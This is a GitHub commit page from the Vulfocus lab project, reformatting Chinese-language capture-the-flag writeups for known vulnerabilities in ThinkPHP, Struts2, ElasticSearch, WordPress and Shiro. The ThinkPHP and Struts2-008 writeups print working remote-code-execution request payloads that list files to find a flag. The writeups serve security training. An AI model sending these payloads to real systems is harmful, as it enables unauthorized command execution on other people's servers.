Skip to content

Commit

Permalink
docs
Browse files Browse the repository at this point in the history
  • Loading branch information
xxxxbxxxxx committed Jul 5, 2020
1 parent 26cb2ac commit 522e602
Show file tree
Hide file tree
Showing 35 changed files with 554 additions and 537 deletions.
40 changes: 39 additions & 1 deletion _sidebar.md
Original file line number Diff line number Diff line change
@@ -1,7 +1,45 @@
* [Vulfocus]()
* [安装](INSTALL.md)
* [Writeup](writeup/README.md)

* Writeup

* [ThinkPHP5 远程代码执行漏洞(CNVD-2018-24942)](writeup/CNVD-2018-24942/CNVD-2018-24942.md)
* [Tomcat 任意写入文件漏洞(CVE-2017-12615)](writeup/CVE-2017-12615/CVE-2017-12615.md)
* [ElasticSearch 命令执行漏洞(CVE-2014-3120)](writeup/CVE-2014-3120/CVE-2014-3120.md)
* [Adobe ColdFusion 反序列化漏洞(CVE-2017-3066)](writeup/CVE-2017-3066/CVE-2017-3066.md)
* [Drupal 远程代码执行漏洞(CVE-2018-7600)](writeup/CVE-2018-7600/CVE-2018-7600.md)
* [Ranger 远程代码执行漏洞(CVE-2018-11776)](writeup/CVE-2018-11776/CVE-2018-11776.md)
* [Samba 远程命令执行(CVE-2017-7494)](writeup/CVE-2017-7494/CVE-2017-7494.md)
* [tomcat-pass-getshell](writeup/tomcat-pass-getshell/tomcat-pass-getshell.md)
* [Tomcat 弱口令 Getshell](writeup/Tomcat弱口令/Tomcat弱口令.md)
* [st2-048远程命令执行(CVE-2017-9791)](writeup/CVE-2017-9791/CVE-2017-9791.md)
* [WordPress远程命令执行(CVE-2016-10033)](writeup/CVE-2016-10033/CVE-2016-10033.md)
* [st2-046远程命令执行(CVE-2017-5638)](writeup/CVE-2017-5638/CVE-2017-5638.md)
* [Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)](writeup/CVE-2016-4437/CVE-2016-4437.md)
* [Couchdb 任意命令执行漏洞(CVE-2017-12636)](writeup/CVE-2017-12636/CVE-2017-12636.md)
* [thinkphp_5.0.21命令执行](writeup/thinkphp_5.0.21命令执行/thinkphp_5命令执行.md)
* [jboss-JMXInvokerServlet反序列化](writeup/jboss-JMXInvokerServlet反序列化/jboss-JMXInvokerServlet反序列化.md)
* [Struts2-016远程代码执行漏洞(CVE-2013-2251)](writeup/CVE-2013-2251/struts2-016远程命令执行.md)
* [ThinkPHP_2.X任意代码执行](writeup/ThinkPHP_2.X任意代码执行/ThinkPHP2.X任意代码执行.md)
* [Thinkphp5.0.23远程代码执行](writeup/Thinkphp5.0.23远程代码执行/Thinkphp5.0.23远程代码执行.md)
* [seacms-v6.53 命令执行漏洞](writeup/seacms-v6.53%20命令执行漏洞/seacms-v6.53%20命令执行漏洞.md)
* [seacms-v6.45 任意代码执行漏洞.md](writeup/seacms-v6.45%20任意代码执行漏洞/seacms-v6.45%20任意代码执行漏洞.md)
* [Struts2-008命令执行(CVE-2012-0392)](writeup/CVE-2012-0392/Struts2-008(CVE-2012-0392).md)
* [Struts2-devMode命令执行(CVE-2016-4438)](writeup/Struts2-devMode/Struts2-devMode.md)
* [Supervisord 远程命令执行漏洞(CVE-2017-11610)](writeup/CVE-2017-11610/CVE-2017-11610.md)
* [PHP文件包含之利用phpinfo](writeup/PHP文件包含之利用phpinfo/PHP文件包含漏洞之利用phpinfo.md)
* [Weblogic 命令执行漏洞(CVE-2020-2555)](writeup/CVE-2020-2555/CVE-2020-2555.md)
* [Shiro RememberMe1.2.4反序列化](writeup/Shiro_RememberMe_1.2.4_反序列化/Shiro_RememberMe1.2.4反序列化.md)
* [Apache Kylin 系统远程命令执行漏洞(CVE-2020-1956)](writeup/CVE-2020-1956/CVE-2020-1956.md)
* [SpringBoot SpEL表达式注入漏洞](writeup/SpringBoot_SpEL表达式注入漏洞/SpringBoot_SpEL表达式注入漏洞.md)
* [Spring Data Commons 代码执行漏洞(CVE-2018-1273)](writeup/CVE-2018-1273/CVE-2018-1273.md)
* [Spring Data REST PATCH 请求代码执行漏洞(CVE-2017-8046)](writeup/CVE-2017-8046/CVE-2017-8046.md)
* [CVE-2018-1000861(Jekins 远程命令执行)](writeup/CVE-2018-1000861/CVE-2018-1000861.md)

* 镜像

* [Vulfocus镜像](images/README.md)
* [贡献镜像](images/CONTRIBUTION.md)

* [更新日志](CHANGELOG.md)

2 changes: 1 addition & 1 deletion index.html
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@
name: "Vulfocus",
repo: 'https://github.com/fofapro/vulfocus',
loadSidebar: true,
maxLevel: 3,
maxLevel: 2,
subMaxLevel: 3,
ga: 'UA-143796169-2'
}
Expand Down
67 changes: 35 additions & 32 deletions writeup/CNVD-2018-24942/CNVD-2018-24942.md
Original file line number Diff line number Diff line change
@@ -1,32 +1,35 @@
CNVD-2018-24942

# ThinkPHP5 远程代码执行漏洞

## 一、漏洞描述

ThinkPHP5 存在远程代码执行漏洞。该漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击。

## 二、影响产品

上海顶想信息科技有限公司 ThinkPHP 5.*,<5.1.31

上海顶想信息科技有限公司 ThinkPHP <=5.0.23

## 三、利用流程

1 此漏洞对应靶场环境为 thinkphp5x 任意代码执行漏洞 (cnvd-2018-24942)

![avatar](./24942-1.png)
2 访问其如图所示

![avatar](./24942-2.png)

3 在其地址增加路径与参数即可

/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /tmp
4 成功得到 flag
![avatar](./24942-3.png)

参考:

https://www.cnvd.org.cn/flaw/show/CNVD-2018-24942
# ThinkPHP5 远程代码执行漏洞(CNVD-2018-24942)by [M2ayill](https://github.com/M2ayill)

## 一、漏洞描述

ThinkPHP5 存在远程代码执行漏洞。该漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击。

## 二、影响产品

上海顶想信息科技有限公司 ThinkPHP 5.*,<5.1.31

上海顶想信息科技有限公司 ThinkPHP <=5.0.23

## 三、利用流程

1 此漏洞对应靶场环境为 thinkphp5x 任意代码执行漏洞 (cnvd-2018-24942)

![avatar](./24942-1.png)

2 访问其如图所示

![avatar](./24942-2.png)

3 在其地址增加路径与参数即可

```
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /tmp
```

4 成功得到 flag

![avatar](./24942-3.png)

参考:

https://www.cnvd.org.cn/flaw/show/CNVD-2018-24942
54 changes: 27 additions & 27 deletions writeup/CVE-2012-0392/Struts2-008(CVE-2012-0392).md
Original file line number Diff line number Diff line change
@@ -1,27 +1,27 @@
# Struts2-008CVE-2012-0392)

## 漏洞概述

S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。

## 漏洞成因

主要利用对传入参数没有严格限制,导致多个地方可以执行恶意代码。

第一种情况其实就是 S2-007,在异常处理时的 OGNL 执行
第二种的 cookie 的方式,虽然在 struts2 没有对恶意代码进行限制,但是java的 webserver(Tomcat),对 cookie 的名称有较多限制,在传入 struts2 之前就被处理,从而较为鸡肋
第三种需要开启 devModedebug 模式

例如在 devMode 模式下直接添加参数 ?debug=command&expression= 会直接执行后面的 OGNL 表达式.

影响版本:Struts 2.1.0 - Struts 2.3.1

启动靶场。

![1](./1.png)

利用 POC 拿到 Flag

`/devmode.action?debug=command&expression=%28%23_memberAccess%5B"allowStaticMethodAccess"%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28"false"%29%20%2C%23context%5B"xwork.MethodAccessor.denyMethodExecution"%5D%3D%23foo%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27ls%27%29.getInputStream%28%29%29%29`

![2](./2.png)
# Struts2-008命令执行CVE-2012-0392)by [Frivolous-scholar](https://github.com/Frivolous-scholar)

## 漏洞概述

S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。

## 漏洞成因

主要利用对传入参数没有严格限制,导致多个地方可以执行恶意代码。

第一种情况其实就是 S2-007,在异常处理时的 OGNL 执行
第二种的 cookie 的方式,虽然在 struts2 没有对恶意代码进行限制,但是java的 webserver(Tomcat),对 cookie 的名称有较多限制,在传入 struts2 之前就被处理,从而较为鸡肋
第三种需要开启 devModedebug 模式

例如在 devMode 模式下直接添加参数 ?debug=command&expression= 会直接执行后面的 OGNL 表达式.

影响版本:Struts 2.1.0 - Struts 2.3.1

启动靶场。

![1](./1.png)

利用 POC 拿到 Flag

`/devmode.action?debug=command&expression=%28%23_memberAccess%5B"allowStaticMethodAccess"%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28"false"%29%20%2C%23context%5B"xwork.MethodAccessor.denyMethodExecution"%5D%3D%23foo%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27ls%27%29.getInputStream%28%29%29%29`

![2](./2.png)
70 changes: 34 additions & 36 deletions writeup/CVE-2013-2251/struts2-016远程命令执行.md
Original file line number Diff line number Diff line change
@@ -1,36 +1,34 @@
# Struts2-016 代码执行(CVE-2013-2251)

# 漏洞概述

Struts2 是第二代基于 Model-View-Controller (MVC) 模型的 java 企业级 web 应用框架。它是 WebWork 和 Struts 社区合并后的产物。 Apache Struts2 的 action: 、 redirect: 和 redirectAction: 前缀参数在实现其功能的过程中使用了 Ognl 表达式,并将用户通过 URL 提交的内容拼接入 Ognl 表达式中,从而造成攻击者可以通过构造恶意 URL 来执行任意 Java 代码,进而可执行任意命令。 redirect: 和 redirectAction: 此两项前缀为 Struts 默认开启功能,目前 Struts 2.3.15.1 以下版本均存在此漏洞。
影响版本:Struts 2.3.15 以下。

注:一般 struts2 漏洞有一个明显的特征就是 url 路径里有`*.action``*.do`

## Write up

首先启动靶场环境,点击`./default.action`

![qidong](./qidong.png)

![2](./2.png)

首先先来进行手工验证,看是否存在漏洞,输入`?redirect:%25{222*3}`

![3](./3.png)

页面没有响应内容,把执行的 OGNL 表达式`{222*3}`进行 url 编码再来一遍,结果如下

![5](./5.png)

![6](./6.png)

说明该网站存在 struts2-016 漏洞,然后去网上寻找 POC 来进行利用,然后执行 ls 命令查看 Flag



![7](./7.png)

也可以用工具去执行直接拿到 Flag

![8](./8.png)
# Struts2-016 代码执行(CVE-2013-2251)by [Frivolous-scholar](https://github.com/Frivolous-scholar)

# 漏洞概述

Struts2 是第二代基于 Model-View-Controller (MVC) 模型的 java 企业级 web 应用框架。它是 WebWork 和 Struts 社区合并后的产物。 Apache Struts2 的 action: 、 redirect: 和 redirectAction: 前缀参数在实现其功能的过程中使用了 Ognl 表达式,并将用户通过 URL 提交的内容拼接入 Ognl 表达式中,从而造成攻击者可以通过构造恶意 URL 来执行任意 Java 代码,进而可执行任意命令。 redirect: 和 redirectAction: 此两项前缀为 Struts 默认开启功能,目前 Struts 2.3.15.1 以下版本均存在此漏洞。
影响版本:Struts 2.3.15 以下。

注:一般 struts2 漏洞有一个明显的特征就是 url 路径里有`*.action``*.do`

## Write up

首先启动靶场环境,点击`./default.action`

![qidong](./qidong.png)

![2](./2.png)

首先先来进行手工验证,看是否存在漏洞,输入`?redirect:%25{222*3}`

![3](./3.png)

页面没有响应内容,把执行的 OGNL 表达式`{222*3}`进行 url 编码再来一遍,结果如下

![5](./5.png)

![6](./6.png)

说明该网站存在 struts2-016 漏洞,然后去网上寻找 POC 来进行利用,然后执行 ls 命令查看 Flag

![7](./7.png)

也可以用工具去执行直接拿到 Flag

![8](./8.png)
8 changes: 2 additions & 6 deletions writeup/CVE-2014-3120/CVE-2014-3120.md
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
ElasticSearch命令执行漏洞(CVE-2014-3120)
# ElasticSearch命令执行漏洞(CVE-2014-3120) by [Vdeem](https://github.com/Vdeem)

## 一、漏洞描述

Expand All @@ -12,11 +12,8 @@ Elasticsearch 1.2之前的版本默认配置启用了动态脚本,该脚本允

Elasticsearch < 1.2


## 三、利用流程



1 启动 CVE-2014-3120 镜像,打开其访问地址查看,可见其版本为1.1.1

![avatar](./1.png)
Expand Down Expand Up @@ -90,8 +87,7 @@ Elasticsearch < 1.2

2、设置 script.disable_dynamic = true,官方已在1.2版本中将 true 设置为默认值


参考:
## 参考

https://nvd.nist.gov/vuln/detail/CVE-2014-3120

Expand Down
8 changes: 5 additions & 3 deletions writeup/CVE-2016-10033/CVE-2016-10033.md
Original file line number Diff line number Diff line change
@@ -1,12 +1,14 @@
### 漏洞描述
# WordPress远程命令执行(CVE-2016-10033) by [anonymity3712](https://github.com/anonymity3712)

## 漏洞描述

WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。也可以把 WordPress 当作一个内容管理系统(CMS)来使用。WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。

### 影响版本
## 影响版本

WordPress <= 4.6

### writeup
## writeup

启动靶场

Expand Down
6 changes: 4 additions & 2 deletions writeup/CVE-2016-4437/CVE-2016-4437.md
Original file line number Diff line number Diff line change
@@ -1,8 +1,10 @@
### 漏洞描述
# Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)by [anonymity3712](https://github.com/anonymity3712)

## 漏洞描述

Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

### writeup
## writeup

访问靶机地址

Expand Down
Loading

0 comments on commit 522e602

Please sign in to comment.